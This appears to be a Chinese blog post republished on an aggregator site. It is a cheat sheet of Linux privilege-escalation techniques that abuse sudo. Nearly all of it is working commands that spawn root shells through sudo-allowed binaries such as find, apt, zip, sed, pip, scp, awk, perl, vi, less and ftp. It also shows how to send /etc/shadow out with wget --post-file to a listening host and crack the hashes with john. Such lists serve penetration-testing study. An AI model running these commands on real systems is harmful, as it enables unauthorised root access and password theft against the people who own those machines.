Linux提权——SUDO

Posted Thgilil

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux提权——SUDO相关的知识,希望对你有一定的参考价值。

使用Sudo权限提升Linux账户权限

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图

Sudoer文件语法

假如我们(root用户)要给普通用户test分配sudo权限,请输出vim /etc/sudoers打开文件进行编辑,找到root权限root ALL=(ALL:ALL) ALL,在下一行输入
test ALL(ALL:ALL) ALL,保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。

给普通用户设置 sudo权限

打开 /etc/sudoers 文件

vim /etc/sudoers

给普通用户test 的wget命令添加sudo权限供下面进行提权测试

test   ALL(ALL:ALL) /usr/bin/wget

或者直接给于用户root权限,下面测试时不必来回修改

test   ALL(ALL:ALL)   ALL

提权命令总览

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

sudo wget提权

Wget 命令是一个命令行实用程序,它使用户能够借助许多协议(如 HTTP、HTTPS 和 FTP)从 Internet 或服务器同时下载单个或多个文件。
wget 提权的原理是:
使用–post-file参数将/etc/shadow的内容发送到监听IP并保存未hash.txt(kali)

##kali上监听
nc -lvp 4444 > hash.txt

##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.0.114:4444


使用john字典模式对其进行破解

/usr/share/john$ john --wordlist=password.lst /home/light/hash.txt

sudo find提权

find 命令用来在指定目录下查找文件,这里使用“exec”来执行/bin/bash,以访问root shell

sudo find /home -exec /bin/bash \\;

sudo cat 提权

cat 命令用户连接文件并打印到标准输出设备上
在分配了sudo权限后,我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解

sudo cat /etc/shadow

sudo apt 提权

apt(Advanced Packaging Tool)是一个在 Debian 和 Ubuntu 中的 Shell 前端软件包管理器。apt 命令提供了查找、安装、升级、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。apt 命令执行需要超级管理员权限(root)。普通用户可调用sudo执行apt。
使用方法是,创建一个临时的文件,并在其中构建一个包来调用/bin/bash,然后通过apt-get安装该包

TF=$(mktemp) 
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF 
sudo apt-get install -c $TF sl

sudo zip提权

zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。
通过压缩一个存在的文件,并调用-T参数输出shell

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"

sudo xxd提权

xxd命令是 二进制显示和处理文件工具,其可以将给定的文件内容生成为十六进制文件,反过来也行
提权原理是使用xxd读取十六进制的/etc/shadow文件,并通过管道符连接另一个xdd命令以将十六进制恢复为原文件

sudo xxd "/etc/shadow" | xxd -r

同样是保存后,使用jhon破解哈希密码。

sudo time 提权

time命令用于量测特定指令执行时所需消耗的时间及系统资源等资讯。
https://www.hackingarticles.in/linux-for-pentester-time-privilege-escalation/

sudo taskset提权

taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。
执行以下命令获取shell

sudo taskset 1 /bin/sh -p

sudo git提权

##第一种方法
sudo git help config
##输入!/bin/sh  并回车执行shell

##第二种方法
sudo git -p help
!/bin/bash

sudo sed提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd

sudo pip提权

TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 
sudo pip install $TF

sudo ed提权

sudo ed
!/bin/sh

sudo tmux提权

sudo tmux

sudo scp提权
TF=$(mktemp) 
echo 'sh 0<&2 1>&2' > $TF 
chmod +x "$TF" 
sudo scp -S $TF x y:

sudo perl提权

sudo perl -e 'exec "/bin/bash";'

sudo bash提权

bash -p

sudo less提权

sudo less /etc/hosts
!bash

sudo awk提权

sudo awk 'BEGIN {system("/bin/bash")}'

sudo man提权

sudo man man
!bash

sudo vi/vim提权

sudo vi
:!bash

sudo env 提权

sudo env /bin/bash

sudo ftp提权

sudo ftp
! /bin/bash


待续。。。

以上是关于Linux提权——SUDO的主要内容,如果未能解决你的问题,请参考以下文章

Linux提权之sudo提权

Linux提权——SUDO

linux CVE-2019-14287 Sudo提权漏洞

Linux/Ubuntu sudo提权不输入密码

Linux/Ubuntu sudo提权不输入密码

Linux-用户/用户组身份提权